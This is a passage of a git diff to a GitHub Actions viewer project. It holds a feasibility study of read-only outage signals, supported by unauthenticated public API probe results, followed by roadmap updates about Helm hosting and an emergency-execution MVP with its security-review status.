**[Q]**, then probed live (§9.8); the markers below now point to those results. +- Nothing was implemented, and no permission was changed. + +### 9.1 What the app reads today [O] + +| Endpoint (all GET) | Used for | Fields relevant here | +|---|---|---| +| `/repos/{o}/{r}/actions/workflows` | Workflow list | `id`, `name`, `path`, `state` | +| `…/actions/runs` and `…/actions/workflows/{id}/runs` | Run list, 25 a page | Filters used: `status`, `branch`, `event`, workflow. **`created` (time window) and `head_sha` are not used** | +| `…/actions/runs/{id}` and `…/attempts/{n}` | One run or attempt | `status`, `conclusion`, `event`, `created_at`, `run_started_at`, `updated_at`, `run_attempt`, `pull_requests`, `head_sha`, `head_branch` | +| `…/actions/runs/{id}/jobs` (and per attempt) | Jobs | `status`, `conclusion`, `created_at`, `started_at`, `completed_at`, `runner_name`, `labels`. `runner_group_name` is returned but isn't in the `Job` type | +| `…/actions/jobs/{id}/logs` | Logs | `##[error]`, `##[warning]` and `##[notice]` lines; failure signatures | +| `…/contents/{path}?ref=` | Workflow file at a commit | `on.schedule` cron lines could be read from it | +| Approvals, pending deployments, deployments, releases, tags, artifacts, compare | Other evidence | Not relevant to these signals | + +**Not called:** pull requests, check runs, check suites, check-run annotations, commit statuses, branch protection, rulesets, repository events, runners. + +### 9.2 Fixture corpus facts [O] + +- **Pinned corpus:** 34 runs, **all `workflow_dispatch`** and all `completed` (20 success, 12 failure, 2 cancelled). 55 jobs, all on GitHub-hosted runners: `runner_group_name` "GitHub Actions", labels `ubuntu-latest` or `windows-latest`. +- **Timing:** + - Job queue time (`started_at − created_at`) is at most 7 s. + - One run shows 204 s between `created_at` and `run_started_at`. It is **attempt 2**: `created_at` keeps the original run's time, and `run_started_at` is the attempt's start. That is a built-in false positive for any "late start" rule. + - Both skipped jobs have `runner_name: null` and `started_at` equal to `created_at`. +- **Annotations:** the fixture repository holds 78 check-run annotations (49 notice, 2 warning, 27 failure), keyed by job ID. + - Examples: "Process completed with exit code 1.", "The job has exceeded the maximum execution time of 1m0s", "The operation was canceled.", "Canceling since a higher priority waiting request … exists". + - **The app and fixture server neither serve nor use them.** None describes an infrastructure fault. +- **Synthetic fixtures:** + - What exists: one schedule-event graph (`990000104`, a single run with no cron); queued, waiting and in-progress jobs; `startup_failure` in unit tests only. + - What's missing: a run history over time, a schedule series, a stuck-queued run, a self-hosted runner, and an infrastructure-error message. +- **Correction to §2:** the event and conclusion counts quoted earlier included synthetic fixtures. The pinned corpus has no `push` or `pull_request` runs. + +### 9.3 Results by signal + +#### Signal 1: stuck or queued runs (S-2) + +- **Evidence:** + - Run `status` is one of `queued`, `in_progress`, `waiting`, `requested` or `pending`, and the run list can filter on it ([workflow-runs docs](https://docs.github.com/en/rest/actions/workflow-runs)). The app already passes `status`. + - Runs have `created_at`, `run_started_at`, `updated_at` and `run_attempt`. Jobs have `created_at`, `started_at`, `runner_name` and `labels` (`src/domain/types.ts`). + - Documented [limits](https://docs.github.com/en/actions/reference/limits): a self-hosted job "can be in the queue for 24 hours before it is automatically cancelled", and a run is cancelled at 35 days. +- **Safe conclusion:** "This run or job has been `queued` for *N* minutes as of now, with no runner assigned." That is a timestamped fact. "Longer than usual for this workflow" is safe only as an explicit comparison with the same workflow's recent runs. +- **False positives and unknowns:** + - **Normal waits look the same:** `pending` from concurrency groups, `waiting` on environment approvals (the app already reads pending deployments), offline or busy self-hosted runners, and larger-runner capacity. + - **Re-runs:** a run's `created_at` belongs to the original run (fixture `39365979905`). Queue time must use job `created_at` or the attempt's `run_started_at`. + - **Stale status:** GitHub's own report says some runs "stayed showing as queued" after I-9, so `queued` may be wrong, not just slow. + - **No fixed threshold:** there's no defensible one. A baseline needs a history fetch, because nothing is kept between sessions (A4). + - **Probed (§9.8 P-3):** on a queued job `started_at` **equals** `created_at`, and the run's `run_started_at` equals its `created_at`. Time in queue must be "now − `created_at`". +- **Current permissions:** yes (Actions: Read). +- **Missing fixtures and tests:** + - a run stuck `queued` with no jobs; + - a queued job with `runner_name` null, on a hosted runner and on a self-hosted one; + - concurrency `pending`; + - a re-run attempt with a large `created_at` gap; + - a status left `queued` after it should have resolved. +- **Classification:** partially feasible. Age-in-state is reliable; "unusual" is not; the cause stays `unknown`. + +#### Signal 2: failed or cancelled runs, and infrastructure evidence (S-1, S-3) + +- **Evidence:** + - Run and job `conclusion`. The run list's `status` filter accepts conclusions such as `failure`, `cancelled`, `timed_out`, `startup_failure` and `action_required`. + - The app already treats those as not successful (`src/domain/types.ts`), and keeps `startup_failure` as reported (`retry-evidence.ts`). + - Log `##[error]` lines and failure signatures (`classify.ts`), one log download per job. + - Check-run annotations exist per job (via `check_run_url`) but are **not read** by the app. +- **Safe conclusion:** "*N* runs in this window concluded `failure`, `cancelled`, `timed_out` or `startup_failure`", with links to GitHub, where people re-run (S-6). +- **Window query:** + - The run list accepts a `created` date range, but returns "up to 1,000 results for each search" when filtered ([workflow-runs docs](https://docs.github.com/en/rest/actions/workflow-runs)). That is about 10 requests of 100 per filter per window. + - A larger window is incomplete and must say so. +- **Infrastructure attribution is not reliable:** + - `startup_failure` also comes from invalid workflow files and permissions. + - `cancelled` also comes from concurrency and from users. The fixtures contain "Canceling since a higher priority waiting request". + - GitHub's "failed with an infrastructure error" category (I-6) isn't an API field. + - No real infrastructure-error message has been captured (§9.2). + - Lining failures up with the status page would need outside calls, which are out of scope. + + The cause therefore stays `unknown`. +- **Current permissions:** conclusions and logs, yes. Annotations would need the Checks API (signal 5 table). +- **Missing fixtures and tests:** + - `startup_failure` with no jobs; + - `timed_out`; + - a run whose jobs never got a runner; + - a real runner message, captured from a cited public source; + - a window over the 1,000-result cap. +- **Classification:** + - Listing outcomes in a window: feasible. + - Identifying infrastructure causes: not feasible; the cause stays `unknown`. + +#### Signal 3: possibly missed scheduled runs (S-4) + +- **Evidence:** + - `on.schedule` cron lines in the workflow file at the default branch (Contents: Read; the app already reads files at a commit). + - `event=schedule` runs for that workflow, with `created_at`. + - Workflow `state`, whose values include `disabled_inactivity` and `disabled_manually` ([workflows docs](https://docs.github.com/en/rest/actions/workflows)), so documented disabling is directly visible. +- **Safe conclusion:** + - "About *K* scheduled runs were expected between A and B from this cron, and *J* were found. Gaps at … are **possible missed runs, cause unknown**." + - "This workflow is disabled (inactivity)", read directly from `state`. +- **Limitations:** + - **Documented delays and drops** (§2) require a tolerance. Any value is **[A]** until checked against real history. + - **The schedule may have changed:** the cron at the branch head may not be the one that was in force. Reconstructing it needs the file's commit history and more requests. + - **Disabling and re-enabling** leave no trace in `state`. + - **The default branch may have changed.** Scheduled runs happen only on the default branch. + - **Matching is complicated** by cron being UTC, by several cron lines, and by `workflow_dispatch` runs that stand in for a schedule. + - **Forks** disable schedules (`disabled_fork`). + - **"Never triggered" and "triggered then dropped before a run existed"** look the same. + - **M-4** shows gaps without outages, so an outage must never be implied. +- **Current permissions:** yes (Actions: Read, Contents: Read). +- **Missing fixtures and tests:** none exists for any of these: + - a schedule series with regular runs and one gap; + - late runs inside and outside the tolerance; + - a cron change mid-window; + - a `disabled_inactivity` workflow; + - several cron lines. +- **Classification:** partially feasible. Labelled "possible missed run" only, never confirmed. + +#### Signal 4: events or runs that never appeared + +- **Evidence:** none direct. + - No endpoint lists events that GitHub received but never turned into runs. + - Webhook delivery logs cover only the repository's own webhooks, and need admin access. +- **Indirect options, and their limits:** + - **Commits without a run:** compare a branch's commits (Contents: Read) with runs by `head_sha`. + - A push runs only for its head commit. + - `paths`, `branches` and `[skip ci]` legitimately skip runs. + - Push boundaries aren't visible from commits. + - **Repository events API:** lists pushes with heads, but GitHub's [events docs](https://docs.github.com/en/rest/activity/events) say it "is not built to serve real-time use cases". + - Latency is "30s to 6h". + - At most 300 events are returned, from the past 30 days only. + - Its fine-grained permission isn't stated there. **Probed (§9.8 P-4):** readable without permissions on a public repository; the private-repository permission is unresolved. + - **Evaluating `on:` filters** faithfully would mean re-implementing GitHub's trigger logic, with a risk of confident wrong answers. +- **Safe conclusion:** at most "no run found for push head X on branch Y in the window; workflow filters not evaluated". **Detecting events that were never processed is fundamentally unobservable** from read-only API data. GitHub's incident reports (I-7) are the only source that says it happened. +- **Current permissions:** commits and runs, yes. The events API is readable on public repositories (§9.8 P-4). +- **Missing fixtures and tests:** push heads with and without runs; path-filtered skips; `[skip ci]`; multi-commit pushes. +- **Classification:** not feasible as detection. The weak "push head with no run" hint isn't recommended. + +#### Signal 5: PRs waiting on required checks (S-5) + +- **Current calls:** + - Runs carry `event` `pull_request` and `pull_requests` (numbers only). So the app can list PR-triggered runs that are queued or failed. + - It **can't** tell whether the PR is open, which checks are **required**, or the state of third-party checks and statuses. + - **Probed (§9.8 P-2):** `pull_requests` is empty on runs from fork PRs (25 of 25 sampled), the common case in open source. +- **Other data the full signal would need:** + + | Data | Endpoint | Fine-grained permission ([permissions page](https://docs.github.com/en/rest/authentication/permissions-required-for-fine-grained-personal-access-tokens)) | In the current set? | + |---|---|---|---| + | Open PRs and head SHAs | `GET …/pulls` | Pull requests: Read | **No** | + | Classic required checks | `GET …/branches/{b}/protection/required_status_checks` | Administration: Read | **No** (and admin is unsuitable for a read-only viewer) | + | Ruleset required checks | `GET …/rules/branches/{b}` | Metadata: Read | **Yes**, but covers rulesets only | + | Commit statuses (external CI) | `GET …/commits/{ref}/status` | Commit statuses: Read | **No** | + | Check runs per commit | `GET …/commits/{ref}/check-runs` | Not listed on the permissions page. The [check-runs docs](https://docs.github.com/en/rest/checks/runs) name only the classic `repo` scope, for private repositories | **Public repositories: readable without permissions** (§9.8 P-1). Private: unresolved | + + The permissions page says "Some endpoints can also be used to access public resources without these permissions", to be checked per endpoint. **Probed (§9.8 P-1):** on a public repository, PRs, check runs, annotations, commit statuses and rulesets returned 200 unauthenticated. Classic protection returned 401, but its required check names appear on the branch object. The table above holds for private repositories. +- **Safe conclusion with current access:** "PR #N's run for head X is `queued` (or failed)". **Not** "PR #N is blocked on required checks". +- **Current permissions:** no, for the full signal. Not expanded here; this stays open question **Q2**. +- **Missing fixtures and tests:** a fork-PR run with empty `pull_requests`; a ruleset response; check runs and statuses for a head commit. +- **Classification:** not feasible with current access. A partial list of "PR-triggered runs needing attention" is possible. + +#### Signal 6: self-hosted runners + +- **Evidence:** job `labels` (including `self-hosted`), `runner_name`, `runner_group_name` (returned but not typed), `status` and `started_at`. +- **Safe conclusion:** + - "This job requested labels [`self-hosted`, …] and has been queued *N* minutes with no runner assigned." + - "This job ran on runner R in group G." +- **Cannot be inferred:** + - **Runner and controller health:** whether a matching runner is registered, online or busy, or whether a controller (for example ARC, M-2) is healthy. Listing runners requires "admin access to the repository" ([self-hosted runners docs](https://docs.github.com/en/rest/actions/self-hosted-runners)) and Administration: Read, which are out of scope. + - **Runner type from labels:** larger GitHub-hosted runners use custom labels without `self-hosted`, so classifying by label is unreliable. Confirmed in §9.8 P-3: queued self-hosted-style jobs carried custom labels without `self-hosted`. + - **Where a delay comes from:** a self-hosted queue can't be told apart from a GitHub-side assignment fault. +- **Current permissions:** partly; job-level facts only. +- **Missing fixtures and tests:** self-hosted and larger-runner jobs queued with no runner; a job auto-cancelled at the 24-hour queue limit. The corpus has none. +- **Classification:** partially feasible, at job level only. + +### 9.4 Cross-cutting limits + +- **Catch-up only:** the app reads only GitHub's API and keeps nothing (A4). Every signal serves the period after an outage, not the outage itself. +- **Baselines:** "unusual" queue times and schedule tolerances need earlier runs, fetched again each session because there is no caching. +- **Request cost:** + - Filtered run searches stop at 1,000 results. + - Jobs cost one request per run, so a 100-run window needs about 100 job requests or more. +- **Unclear access:** check runs, the events API and permission-free public access all need probes (§9.8). + +### 9.5 Summary + +| Signal | Classification | Basis | +|---|---|---| +| 1. Stuck or queued runs | **Partially feasible** | Age-in-state is reliable. "Unusual" needs a per-workflow baseline. Cause always `unknown` | +| 2a. Failed or cancelled runs in a window | **Feasible** | Conclusions plus a `created` window, capped at 1,000 per search | +| 2b. Infrastructure cause | **Not feasible with current access** | No API field; conclusions are ambiguous; no messages captured | +| 3. Possibly missed scheduled runs | **Partially feasible** | Cron, `schedule` runs and workflow `state`. Always "possible"; cron history and tolerance limit it | +| 4. Events or runs that never appeared | **Not feasible with current access** | No such endpoint; indirect hints don't evaluate triggers | +| 5. PRs waiting on required checks | **Private repositories: not feasible with current access. Public repositories: partially feasible (§9.8 P-1)** | Private: needs Pull requests, Commit statuses and Administration or Checks. Public: PRs, check runs, statuses and required check names (via the branch object) readable without permissions, untested with the app's own token. Not expanded (Q2) | +| 6. Self-hosted runners | **Partially feasible** | Job labels and runner fields only. Runner health needs admin | +| S-6. Links to re-run | **Feasible** [O] | The app already links to GitHub | + +### 9.6 Smallest useful read-only capability the evidence supports + +A **"since a time" catch-up list** for one repository. It uses the current permissions, is computed on demand, and stores nothing: +1. **In-flight runs:** runs created in the chosen window that are still `queued`, `in_progress`, `waiting` or `pending`. Shows their age in that state and the runner labels requested. **No** "stuck" or outage label. +2. **Unsuccessful runs:** runs in the window that concluded `failure`, `cancelled`, `timed_out` or `startup_failure`. Shows GitHub's conclusion as reported, with the cause `unknown`, and links to GitHub to re-run. +3. **Scheduled workflows:** for workflows with `on.schedule`, "possible missed scheduled runs", comparing the cron at the default branch with `schedule` runs. Also shows the workflow `state`, including `disabled_inactivity`. Every gap is labelled "possible, cause unknown", with the cron source and tolerance stated. + +Left out of this smallest version: infrastructure cause, events that never appeared, PRs' required-check status, and runner health. + +**This is evidence for a later decision, not a decision.** K-10 stays unapproved, and the maintainer interviews (§5) are still outstanding. + +### 9.7 Fixtures needed before any build + +All synthetic, and needing approval under the ROADMAP rules: +- a stuck-queued run; +- a re-run with a large `created_at` gap; +- a run `pending` behind concurrency; +- `startup_failure` with no jobs; +- `timed_out`; +- a schedule series with a gap, a cron change, `disabled_inactivity` and several cron lines; +- self-hosted and larger-runner queued jobs; +- a fork-PR run with empty `pull_requests`; +- a window of more than 1,000 runs. + +A real infrastructure-error message should be added only if captured from a cited public source. + +### 9.8 Live probe results (2026-10-30 UTC) + +**Method:** +- GET requests to `api.github.com` (REST version 2022-11-28) on 2026-10-30 between about 00:45 and 00:55 UTC. A throwaway script outside the repository printed only status codes, field names, counts and run or job IDs. 33 requests; no response content is stored. +- **All requests were unauthenticated.** + - The app's token is a fine-grained PAT held only in the browser's memory, so it isn't available to this environment. + - The only token present is the GitHub CLI's OAuth token. Its classic scopes (`repo`, `workflow`) are broader than the app's, so a result obtained with it would **not** represent the app's configuration. It was deliberately not used. +- **Why unauthenticated results transfer to the app's token:** GitHub documents that fine-grained tokens "always include read-only access to all public repositories" ([managing personal access tokens](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens)). So an endpoint readable anonymously on a public repository is expected to be readable by the app's token there. + - That is an inference from the documentation, **not** a test with the app's token. + - Private repositories were not tested and remain governed by the permissions table in signal 5. +- **How failures are distinguished:** + - *permission failure:* 401 or 403; + - *missing data:* 200 with an empty value; + - *unsupported:* no such field or endpoint. +- No `X-Accepted-GitHub-Permissions` header was returned, as expected for unauthenticated requests. +- Results are a snapshot; the repositories' data changes continuously. + +**P-1. Pull requests, check runs and commit statuses on a public repository.** Repository: `cli/cli`, default branch `trunk`. + +| Endpoint | HTTP | Observed | +|---|---|---| +| `GET /repos/cli/cli/pulls?state=open&per_page=1` | **200** | PR list with `head.sha` and `draft`. The list has no `mergeable_state` field | +| `GET /repos/cli/cli/pulls/{n}` (that PR) | **200** | `mergeable_state` present (value `clean`) | +| `GET /repos/cli/cli/commits/{head sha}/check-runs` | **200** | `total_count` 6. Each run has `name`, `status`, `conclusion`, `started_at`, `completed_at`, `app`, `check_suite`, `output`, `pull_requests` | +| `GET /repos/cli/cli/check-runs/{id}/annotations` | **200** | An array (1 annotation) | +| `GET /repos/cli/cli/commits/{head sha}/status` | **200** | `state` `pending`, 0 statuses. With no statuses, `pending` is GitHub's empty value, not a waiting check | +| `GET /repos/cli/cli/rules/branches/trunk` | **200** | One rule, type `copilot_code_review`; no required-status-check rule | +| `GET /repos/cli/cli/branches/trunk/protection/required_status_checks` | **401** "Requires authentication" | **Permission failure.** The documented permission is Administration: Read, outside the app's set | +| `GET /repos/cli/cli/branches/trunk` | **200** | `protected: true`, and `protection.required_status_checks` with `enforcement_level` `non_admins`, 3 `contexts` and 3 `checks` (`context`, `app_id`) | + +- **Result:** on a public repository, open PRs, a head's check runs, annotations and commit statuses are all readable without any token permission. The required check names for classic branch protection are exposed through the **branch** endpoint (`GET …/branches/{b}`, documented under Contents: Read), even though the protection endpoint itself is refused. +- **Not shown:** + - whether the branch object's `required_status_checks` is complete in every case, for example with several protection layers or org rulesets; + - whether `mergeable_state`, which GitHub computes, is reliable enough to say "blocked". + +**P-2. `pull_requests` on runs from fork PRs.** + +| Repository | Endpoint | Observed | +|---|---|---| +| `pytest-dev/pytest` | `GET …/actions/runs?event=pull_request&per_page=30` | 30 runs: **25 from forks, all with an empty `pull_requests`**. 5 from the same repository, all with a non-empty `pull_requests` | +| `cli/cli` | same | 30 runs, all from the same repository, all non-empty (no fork PRs in that sample) | +| `home-assistant/core` | `GET …/actions/runs/{id}` (two runs, P-3) | Fork PR runs, `pull_requests` empty | + +- **Result:** confirmed in this sample. A fork PR's run carries **no PR number**. It's missing data, not a permission failure (status 200). +- Linking such a run to its PR needs another lookup, for example open PRs matched by head SHA or head label (`GET …/pulls`, readable per P-1). + +**P-3. A job that is still queued.** + +| Repository | Endpoint | Observed | +|---|---|---| +| `pytorch/pytorch` | `GET …/actions/runs?status=queued` | `total_count` 431 | +| same, run `40981113896` (push) | `GET …/actions/runs/{id}` | `status` `queued`, `conclusion` null. `run_started_at` **equals** `created_at` (00:40:03Z) while still queued. `updated_at` later (00:42:46Z) | +| same | `GET …/actions/runs/{id}/jobs?filter=latest` | 93 jobs, 18 `queued`. Two sampled queued jobs: `conclusion` null, **`started_at` equal to `created_at`**, `completed_at` null, `runner_id` 0, `runner_name` `""`, `runner_group_id` 0, `runner_group_name` `""`, 0 steps. `labels` were custom runner labels with **no `self-hosted` label** | +| `home-assistant/core`, runs `39791818345` and `39791818283` (fork PRs) | runs and jobs endpoints | `status` `queued` since **2026-10-22T13:59:33Z**. `updated_at` and `run_started_at` equal `created_at`. **0 jobs** | + +- **Results:** + - **Timestamps don't show queue time.** A queued job's `started_at` is not null; it equals `created_at`. So `started_at − created_at` is 0 while a job waits. Time in queue must be "now − `created_at`" while `status` is `queued`. + - **`run_started_at` isn't a start signal on attempt 1.** It too equals `created_at` while the run is queued. + - **"No runner assigned"** is shown as `runner_id` 0 and empty strings, not null. (The fixtures' skipped jobs use null.) + - **Labels can't separate self-hosted runners.** pytorch's queued jobs requested custom labels without `self-hosted`, so this is confirmed as a limitation, not just an assumption. + - **Queued runs with no jobs exist.** The two home-assistant runs had been queued for over 7 days with no jobs and no update. That is a real example of the state GitHub described after I-9. + - The cause is **unknown**. It could be a stale status, or something held before jobs were created; nothing in the response says which. + - The 24-hour queue limit (documented for jobs) evidently didn't end them. +- **Not shown:** + - whether `started_at` is overwritten with the real start time once a job is picked up (the fixtures' 0–7 s gaps suggest so, but this probe didn't observe a transition); + - whether `pending` and `waiting` behave the same. + +**P-4. Events API permission.** + +| Repository | Endpoint | Observed | +|---|---|---| +| `cli/cli` | `GET /repos/cli/cli/events?per_page=30` | **200**; 30 events (issue comment, watch, fork, review, delete). No `PushEvent` in that page | + +- **Documentation:** the [events docs](https://docs.github.com/en/rest/activity/events) give no fine-grained permission for repository events, and the [permissions page](https://docs.github.com/en/rest/authentication/permissions-required-for-fine-grained-personal-access-tokens) doesn't list the endpoint. Only user-private events need a permission ("Events", user). +- **Result:** readable without any permission on a public repository, so readable with the app's token there by the inference above. The exact fine-grained permission for **private** repositories is **unresolved**. +- **Usefulness:** a 30-event page on a busy repository contained no push at all, consistent with the documented 300-event, 30-day and up to 6-hour latency limits. That supports keeping signal 4 out of scope. + +**Revised open questions:** +- **Resolved:** + - fork PR runs have an empty `pull_requests` (P-2); + - a queued job shows `started_at` = `created_at` and an empty runner (P-3); + - on public repositories, PRs, check runs, annotations, commit statuses, rulesets, repository events, and required check names through the branch object are readable without permissions (P-1, P-4). +- **Still unresolved:** + 1. Behaviour with the app's **actual** fine-grained PAT. It's expected to match the unauthenticated results on public repositories, but this wasn't tested. A maintainer could check by running the same GETs with their token, without sharing it. + 2. **Private repositories:** endpoints outside Actions, Contents and Metadata are expected to fail. Not tested, and not to be tested by expanding permissions (Q2). + 3. Whether the branch object's `required_status_checks` reflects every source of required checks (classic protection plus rulesets, including organization rulesets), and whether it is visible on every public repository. + 4. Whether a job's `started_at` changes to its real start when a runner picks it up. + 5. The cause of week-old queued runs with no jobs. It isn't knowable from the API, so it stays `unknown`. + 6. The events API's fine-grained permission for private repositories. + +### 9.9 What current access demonstrably supports (public repositories) + +Checked against the catch-up list in §9.6. **None of this approves implementation;** K-10 stays unapproved, and the maintainer interviews (§5) are still required. + +| Part of the catch-up list | Demonstrated? | Notes | +|---|---|---| +| 1. Runs still in flight, with time in state | **Yes**, with a correction | `status=queued` filter works (P-3). Time in state is "now − `created_at`", because `started_at` and `run_started_at` equal `created_at` while queued. Week-old queued runs with no jobs exist and must be shown with the cause `unknown` | +| 1a. Runner labels requested; "no runner assigned" | **Yes** | `labels`; `runner_id` 0 and `runner_name` `""`. Labels can't tell self-hosted from hosted | +| 2. Unsuccessful runs in a window | **Documented, not probed** | The `created` filter and conclusion filters are documented, but this probe didn't exercise them | +| 3. Possible missed scheduled runs | **Not probed live** | Relies on documented `event=schedule`, workflow `state` and file contents; no live schedule series examined | +| Fork PR runs linked to their PR | **Needs an extra lookup** | `pull_requests` is empty (P-2), so matching by head is needed (P-1 endpoints are readable) | +| PRs waiting on required checks | **Possible on public repositories, beyond the original plan** | Open PRs, check runs, statuses and required check names (through the branch object) were readable unauthenticated. The original "not feasible" holds for **private** repositories, and the public result is untested with the app's own token | + +So the smallest catch-up list (§9.6) stands, with these changes: +- queue time must be measured from `created_at`; +- "queued with no jobs" belongs on the list as its own case, cause `unknown`; +- for public repositories only, a later, separate decision could consider showing PRs whose head commit has unfinished or failed required checks. That would use reads that the probes show need no extra permission there. It isn't part of the smallest version, and it doesn't change Q2. diff --git a/docs/ROADMAP.md b/docs/ROADMAP.md index 4d1c9aa..714c959 100644 --- a/docs/ROADMAP.md +++ b/docs/ROADMAP.md @@ -7,12 +7,12 @@ - Live smoke test: passed, run by the user with their own token. - Security follow-ups applied before acceptance: fixture mode is compiled out of production builds, and all unit tests fail closed on network access (ARCHITECTURE §11.2). - **Fixture pin:** `184ede06780166a90bdb173adda9a23a5b6545c4`, recorded in `fixtures.lock.json`. -- **Repository:** `https://github.com/GauJosh/github-actions-ui`, **private**. Open source first is the intended direction. Publishing waits for a separate decision after the first vertical slice is reviewed. -- **Repository dashboard, pipeline explorer and release views** (requested 2026-10-20, ahead of the original M2–M5 order): implemented locally; design direction **approved** 2026-10-20; not yet committed. +- **Repository:** `https://github.com/GauJosh/github-actions-ui`, **public** (visibility checked 2026-10-29), under Apache-2.0. It was private when this status was first written, and open source first was the intended direction. +- **Repository dashboard, pipeline explorer and release views** (requested 2026-10-20, ahead of the original M2–M5 order): implemented; design direction **approved** 2026-10-20; committed in `9ac9df8`. - Covers part of M4 (finding runs: repository list, run list with filters) and a new execution-graph view of each run. - Large multi-environment runs open on a release overview (phases → jobs), with focused phase views and the full graph as an alternative. Demo gallery of synthetic enterprise scenarios in fixture mode only. - Dependency edges come only from `needs:` in the workflow file at the run's commit. Details: ARCHITECTURE §11.3. - - **Step-to-log navigation** (requested 2026-10-20): step mapping v2 with checks C1–C4, the risk flag and the "approximate" and "unavailable" states, implemented locally, **in review**, not committed (ARCHITECTURE §11.4). It covers M2 acceptance criteria 1 and 2. + - **Step-to-log navigation** (requested 2026-10-20): step mapping v2 with checks C1–C4, the risk flag and the "approximate" and "unavailable" states, implemented, **in review**; committed in `9ac9df8` (ARCHITECTURE §11.4). It covers M2 acceptance criteria 1 and 2. - **Nested reusable-workflow hierarchy** (requested 2026-10-20 after the first work trial): implemented and pushed (ARCHITECTURE §11.3). - **Essential logs and log exploration** (requested 2026-10-20): display modes, conservative classification, quick filters, search and failure-investigation controls (ARCHITECTURE §8, log display modes). Pushed. - **Failure detection and step-first logs** (requested 2026-10-21 after a work trial missed a Node.js failure): evidence tiers with failure signatures and stack traces, step headings with collapse, the failure evidence panel, scope and error navigation (ARCHITECTURE §8, error evidence tiers). Pushed. @@ -38,6 +38,7 @@ - **Excerpt boundaries from log rows** (requested 2026-10-27, Feature 5D): a keyboard-accessible ⋮ menu on each log line with Set as first line / Set as last line, filling the same excerpt form; the range is shown and shaded, reversed ranges are explained and cannot be added (ARCHITECTURE §11.13). Committed in Checkpoint 2 (Features 5A–5D). - M2's other log-exploration items (ANSI, groups, scaled scrolling, the worker cache) are still open. Q2 and Q10 remain open. - **Containerized hosting** (approved 2026-10-28; Hosting track below): K1–K4 were implemented and verified locally on 2026-10-28, with a pre-commit audit (K5–K6). ARCHITECTURE A10–A12, §7.4 and §11.14. + - **Merged into `main` on 2026-10-29** as `226a5c3` (PR #10). All six GitHub checks passed on that commit, including the "Helm chart" job. - K1 is the production image with a Node static server; K2 is the `charts/gha-ui` Helm chart, verified on Minikube; K3 adds documentation and CI chart validation. - The app is unchanged: browser-only, read-only, with the token in memory. - A backend, Gateway API access, GitOps examples and emergency execution are **not approved**. Each needs its own decision. @@ -362,20 +363,51 @@ Containerized static hosting was approved on 2026-10-28 (ARCHITECTURE A10–A12) |---|---|---| | **K1** | Production image (`deploy/ui/`): Node static server, security headers from their single source, root and path-prefix hosting, non-root and read-only | Implemented; verified locally (tests, Podman container) | | **K2** | Helm chart (`charts/gha-ui/`): Deployment, Service, a ServiceAccount with no permissions, `helm test` | Implemented; verified on Minikube at `/` and `/gha-ui/` | -| **K3** | Architecture record, and a CI job that lints, renders and checks the chart's invariants | Implemented and run locally; **the CI job had not run on GitHub as of 2026-10-28** | +| **K3** | Architecture record, and a CI job that lints, renders and checks the chart's invariants | Implemented. The CI job first ran on GitHub on 2026-10-29 and passed, on PR #10 and on `main` at `226a5c3`. It had not run there as of 2026-10-28 | | **K4** | Integration review: the documented path repeated from a clean export of the tree, through Minikube install, test, upgrade, rollback and uninstall | Done locally (ARCHITECTURE §11.14); README and checker fixes; values schema tightened after the pre-commit audit | +**Merged 2026-10-29:** K1–K4, the pre-commit audit fixes and the seccomp-profile validation went into `main` as `226a5c3` (PR #10, squash-merged). Before it, PR #9 (`26cac60`) fixed a browser test on `main` that measured the large graph against the window rather than the graph viewport. All six GitHub checks passed on `226a5c3`: +- Lint and typecheck; +- Unit and contract tests; +- Production build; +- Validate workflows and dependencies; +- Helm chart; +- Browser tests. + **Acceptance criteria (K1–K3):** - The same browser tests pass against the local server, the container and the Kubernetes Service, at both paths, with the log worker. - Served headers match `tools/vite/security-headers.ts` exactly. - `helm test` passes. - CI renders and checks the chart without a cluster, registry or secrets. -**Possible next steps, each needing its own decision and approval:** +**Possible next steps, each needing its own decision and approval.** Options and trade-offs are in `docs/KUBERNETES_ACCESS.md`, a proposal that is not approved: - External access with a Gateway API `HTTPRoute`, verifying that headers pass through unchanged (ARCHITECTURE §12). - GitOps examples (Argo CD, Flux). - A backend and its chart. This would revise the "no backend in v1" constraint (D3) and needs a threat model first. -- Recovery packages and emergency workflow execution. These would end the read-only constraint (D4) and are not approved. +- Recovery help for maintainers of public and open-source repositories (`docs/KUBERNETES_ACCESS.md` §4; not approved, not validated): + - **first to investigate:** a read-only outage impact and catch-up view (K-10), covering failed and cancelled runs, possible missed scheduled runs, PRs waiting on checks where readable, and links to re-run on GitHub. Causes stay `unknown` unless evidence supports them; + - **possibly later:** a caveated "release without Actions" preparation guide (K-11), which maintainers run with their own tools; + - the UI stays read-only, with no new privileged credentials, caching, backend, scheduler or executor; + - **next step:** the problem-validation study in `docs/RECOVERY_VALIDATION_STUDY.md`. +- Optional organization context: running recovery operations on an organization's own infrastructure (researched in `docs/KUBERNETES_ACCESS.md` §7–§8; not approved): + - the research recommends a maintained break-glass runbook, plus a read-only drift check, outside this repository; + - running GitHub Actions workflows outside GitHub is a non-goal; + - this project's read-only constraint (D4) would change only if execution were placed in this repository, which the assessment recommends against; + - `docs/PLATFORM_RECOVERY_DISCOVERY.md` is that context's checklist. + +## Emergency execution (added 2026-10-30) + +- **Directed by the project owner.** Design, compatibility, security and run steps: `docs/EMERGENCY_EXECUTION.md`. +- **Status:** MVP implemented; committed with the security remediations through H2 on 2026-11-02, not deployed. The demo pipeline was prepared in the UI and run as a Kubernetes Job on local minikube, with GitHub unreachable from the Job. +- **Known gaps:** listed in `docs/EMERGENCY_EXECUTION.md` §9, including the dependency on an external identity provider and NetworkPolicy not being enforced on the original minikube profile. +- **Security review** (`docs/EMERGENCY_EXECUTION_SECURITY_REVIEW.md`, 2026-10-30): + - C1, C2, H1, H2, H3 and H4 are remediated and committed (checkpoint through H2, 2026-11-02). C1 and C2 were validated live on the separate Calico profile `gha-sec`, which still runs the pre-H1 images; the original `minikube` deployment is unchanged. + - M1–M7 and the low findings are open. H2 is untested with a real identity provider and its custom ID-token verification needs a focused review. It is **not ready for production**. +- **Next, if pursued:** + - the medium findings M1–M7; + - a full live preparation from a real repository; + - a multi-node storage option; + - testing on a cluster whose network plugin enforces NetworkPolicy. ## Not on this roadmap diff --git a/eslint.config.js b/eslint.config.js index cc308dd..a373023 100644 --- a/eslint.config.js +++ b/eslint.config.js @@ -6,7 +6,7 @@ import tseslint from "typescript-eslint"; // Note on ordering: for the same rule, a later matching block replaces an earlier one. The general `src` // rules come first and the stricter `src/domain` block last, so the domain block keeps every restriction. export default tseslint.config( - { ignores: ["dist/", "dist-fixtures/", "review-screenshots/", 